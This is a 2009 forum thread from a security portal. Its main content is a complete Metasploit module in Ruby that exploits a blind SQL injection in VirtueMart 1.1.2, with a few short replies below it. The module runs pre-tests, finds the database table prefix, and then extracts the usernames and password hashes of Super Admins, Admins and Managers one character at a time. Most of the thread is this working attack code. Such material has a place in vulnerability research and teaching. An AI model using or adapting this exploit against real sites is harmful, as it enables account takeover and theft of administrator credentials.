Waraxe IT Security Portal
Login or Register
November 21, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 91
Members: 0
Total: 91
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Metasploit related -> VirtueMart 1.1.2 Blind Sql Injection Exploit
Post new topicReply to topic View previous topic :: View next topic
VirtueMart 1.1.2 Blind Sql Injection Exploit
PostPosted: Wed Mar 25, 2009 6:41 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Features:

1. Blind Injection based on induced sql errors - better performance compared to delay-based exploitation (benchmark() and sleep())
2. Can handle bad network conditions (common scenario using proxies)
3. Is able to retrieve custom sql table prefix from information_schema
4. Can fetch username and password hash for specific user ID and/or user group
5. Can handle Joomla's 32-, 49- and 65-chars hashes
6. Thorough pre-testing (4 tests)

Prerequisites:

1. MySql >= 4.1 with subselects suppport for exploit to work
2. MySql >= 5.0 with information_schema for prefix autofetcher

http://www.waraxe.us/tools/metasploits/virtuemart_112_sql.rb

Code:


require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'VirtueMart <= 1.1.2 Sql Injection Exploit',
'Description' => %q{
This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.
},
'Author' => 'Janek Vind "waraxe" <come2waraxe[at]yahoo.com>',
'License' => MSF_LICENSE,
'Version' => '1.0',
'References' =>
[
['BID', '33480'],
['URL', 'http://www.waraxe.us/advisory-71.html'],
['URL', 'http://secunia.com/advisories/33671/']
],
'DisclosureDate' => 'Jan 24 2009'))

register_options(
[
OptString.new('URI', [false, 'Path to VirtueMart', '']),
OptInt.new('TARGETID', [false, 'Target ID (optional)']),
OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']),
OptBool.new('ALLSA', [ false, 'Fetch all Super Admins', true]),
OptBool.new('ALLA', [ false, 'Fetch all Admins', false]),
OptBool.new('ALLM', [ false, 'Fetch all Managers', false]),
], self.class)

end

def run

@marker = 'name="addtocart"'
@target_uri = '/' + datastore['URI'] + '/'
@target_uri = @target_uri.gsub(/\/{2,}/, '/')
@target_id = datastore['TARGETID']
@target_prefix = datastore['PREFIX']
@requests = @fetched = 0
time_start = Time.now.to_i

# debug_level=2 - more debug messages, 1 - less
@debug_level = 1

if(!pre_test)
print_error('Exploit failed in pre-test phase')
return
end

if(datastore['ALLSA'])
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end

if(datastore['ALLA'])
if(!get_users(2))
print_error('Exploit failed fetching Admins')
return
end
end

if(datastore['ALLM'])
if(!get_users(3))
print_error('Exploit failed fetching Managers')
return
end
end

if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM']))
print_status('Target ID or group(s) not specified, fetching Super Admins as default')
if(!get_users(1))
print_error('Exploit failed fetching Super Admins')
return
end
end

if(@target_id > 1)
if(!get_user())
print_error("Exploit failed fetching user with ID=#{@target_id}")
return
end
end

time_spent = Time.now.to_i - time_start

print_status("Exploitation results:")
print_status("Got data for #{@fetched} users")
print_status("Total time spent: #{time_spent} seconds")
print_status("HTTP requests needed: #{@requests}")

end
############################################################
def make_post(post_data)

timeout = 30

begin

res = send_request_cgi({
'uri' => @target_uri,
'method' => 'POST',
'data' => post_data,
}, timeout)

if(res and res.body)
@requests += 1
return res.body
else
print_error('No response from server')
return nil
end

rescue ::Exception
print_error("Error: #{$!.class} #{$!}")
return nil
end
end
############################################################
def test_condition(condition)

max_tries = 10

post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,"
post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"

1.upto(max_tries) do |i|

buf = make_post(post_data)

if(buf)
return buf.include?(@marker)
else
print_status("Sleeping #{i} seconds")
sleep(i)
print_status("Awake, retry ##{i}")
end
end

return nil
end
############################################################
def pre_test

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1'
buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('Pre-test 1 failed - VirtueMart not detected')
return false
else
print_status('Pre-test 1 passed - VirtueMart detected')
end

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,'
buf = make_post(post_data) or return false

if(buf.include?(@marker))
print_error('Pre-test 2 failed - target is patched?')
return false
else
print_status('Pre-test 2 passed - injection detected')
end

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)'
buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('Pre-test 3 failed - subselects not supported?')
return false
else
print_status('Pre-test 3 passed - subselects supported')
end

if(@target_prefix == '')
print_status('Prefix not provided, trying to fetch')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}")
return true
end
end

post_data = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," +
"(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"

buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('Pre-test 4 failed - wrong prefix?')
print_status('Trying to fetch valid prefix')
@target_prefix = get_prefix
if(!@target_prefix)
print_error('Prefix fetch failed')
return false
else
print_status("Prefix fetched: #{@target_prefix}")
return true
end
else
print_status('Pre-test 4 passed - prefix OK')
end

return true
end
############################################################
def get_char(pattern, min, max)

num = get_num(pattern, min, max) or return nil

return num.chr

end
############################################################
def get_hash(group = nil, u_pos = nil)

hash = ''

if(group and u_pos)
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

p_len = get_num(pattern, 32, 100) or return nil

print_status("Got hash length: #{p_len.to_s}")

1.upto(p_len) do |pos|
print_status("Finding hash char pos #{pos}") if @debug_level > 0

if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

c = get_char(pattern, 32, 128) or return nil

hash << c
print_status("Known: #{hash}") if @debug_level > 0

end

return hash

end
############################################################
def get_prefix

prefix = ''

post_data = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' +
'(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)'
buf = make_post(post_data) or return false

if(!buf.include?(@marker))
print_error('INFORMATION_SCHEMA not found - mysql < 5.0?')
return false
else
print_status('INFORMATION_SCHEMA detected, proceed')
end

pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' +
' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)'

p_len = get_num(pattern, 5, 100) or return nil
p_len -= 10

if(p_len < 0)
print_error("Invalid prefix length: #{p_len.to_s}")
return false
elsif(p_len == 0)
print_status('Prefix seems to be empty')
@target_prefix = ''
return true
else
print_status("Got prefix length: #{p_len.to_s}")
end

1.upto(p_len) do |pos|
print_status("Finding prefix char pos #{pos}") if @debug_level > 0

pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" +
" WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)"

c = get_char(pattern, 32, 128) or return nil

prefix << c
print_status("Known: #{prefix}") if @debug_level > 0

end

return prefix
end
############################################################
def get_num(pattern, min = 1, max = 100)

curr = 0;

while(1)

area = max - min
if(area < 2 )
post_data = "#{pattern}=#{max}"
eq = test_condition(post_data)

if(eq == nil)
return nil
elsif(eq)
len = max
else
len = min
end

break
end

half = area / 2
curr = min + half

post_data = "#{pattern}>#{curr}"

bigger = test_condition(post_data)

if(bigger == nil)
return nil
elsif(bigger)
min = curr
else
max = curr
end

print_status("Current: #{min}-#{max}") if @debug_level > 1

end

return len

end
############################################################
def get_username(group = nil, u_pos = nil)

username = ''

if(group and u_pos)
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

u_len = get_num(pattern, 1, 150) or return nil

print_status("Got username length: #{u_len.to_s}")

1.upto(u_len) do |pos|
print_status("Finding username char pos #{pos}") if @debug_level > 0

if(group and u_pos)
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
else
pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
end

c = get_char(pattern, 32, 128) or return nil

username << c
print_status("Known: #{username}") if @debug_level > 0

end

return username

end
############################################################
def get_users(group)

if(group == 1)
usertype = '0x53757065722041646d696e6973747261746f72'
print_status('Starting to fetch all Super Admins')
elsif(group == 2)
usertype = '0x41646d696e6973747261746f72'
print_status('Starting to fetch all Admins')
else
usertype = '0x4d616e61676572'
print_status('Starting to fetch all Managers')
end

pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})"

u_cnt = get_num(pattern, 0, 100) or return nil

print_status("Targets to fetch: #{u_cnt.to_s}")

0.upto(u_cnt - 1) do |pos|

print_status("Fetching user pos #{pos}")

username = get_username(usertype, pos) or return nil
hash = get_hash(usertype, pos) or return nil
@fetched += 1

print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)

end

return true
end
############################################################
def get_user

print_status("Testing user ID=#{@target_id}")
pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})"
u_cnt = get_num(pattern, 0, 100) or return nil

if(u_cnt != 1)
print_error("No user with ID=#{@target_id}")
return true
end

print_status("Working with user ID=#{@target_id}")

username = get_username or return nil
hash = get_hash or return nil
@fetched += 1

print_status(
"Got user data:" +
"\n==============================\n" +
"Username: #{username}\n" +
"Hash: #{hash}" +
"\n=============================="
)

return true
end
############################################################
end


Last edited by waraxe on Tue Mar 31, 2009 9:35 am; edited 2 times in total
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 30, 2009 5:25 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Wassap, people? Noone interested in trying? No feedback? Rolling Eyes
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 30, 2009 5:29 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Сорри дружище, но просто времени нихрена нету потестить.

btw

... у тебя ретрив пароля не работаетSmile
View user's profile Send private message
PostPosted: Mon Mar 30, 2009 5:44 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




pexli wrote:
Сорри дружище, но просто времени нихрена нету потестить.

btw

... у тебя ретрив пароля не работаетSmile


You mean forum password restore functionality? Noone has complained so far, so I have no idea Smile
Maybe mailbox spamfiltering?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 30, 2009 6:01 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Попробую есчо завтра на работе.Если не успею отпишу.
View user's profile Send private message
PostPosted: Tue Aug 10, 2010 4:06 am Reply with quote
sk8er
Advanced user
Advanced user
Joined: May 09, 2005
Posts: 64




Wow mr. Waraxe , you make a metasploit module, is elegant Very Happy

congratulations, and I'm interesed in this, sql injection is the theme for my thesis Smile

saludos, and good luck

( what I do one equal ? )
View user's profile Send private message Send e-mail MSN Messenger
VirtueMart 1.1.2 Blind Sql Injection Exploit
www.waraxe.us Forum Index -> Metasploit related
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.044 Seconds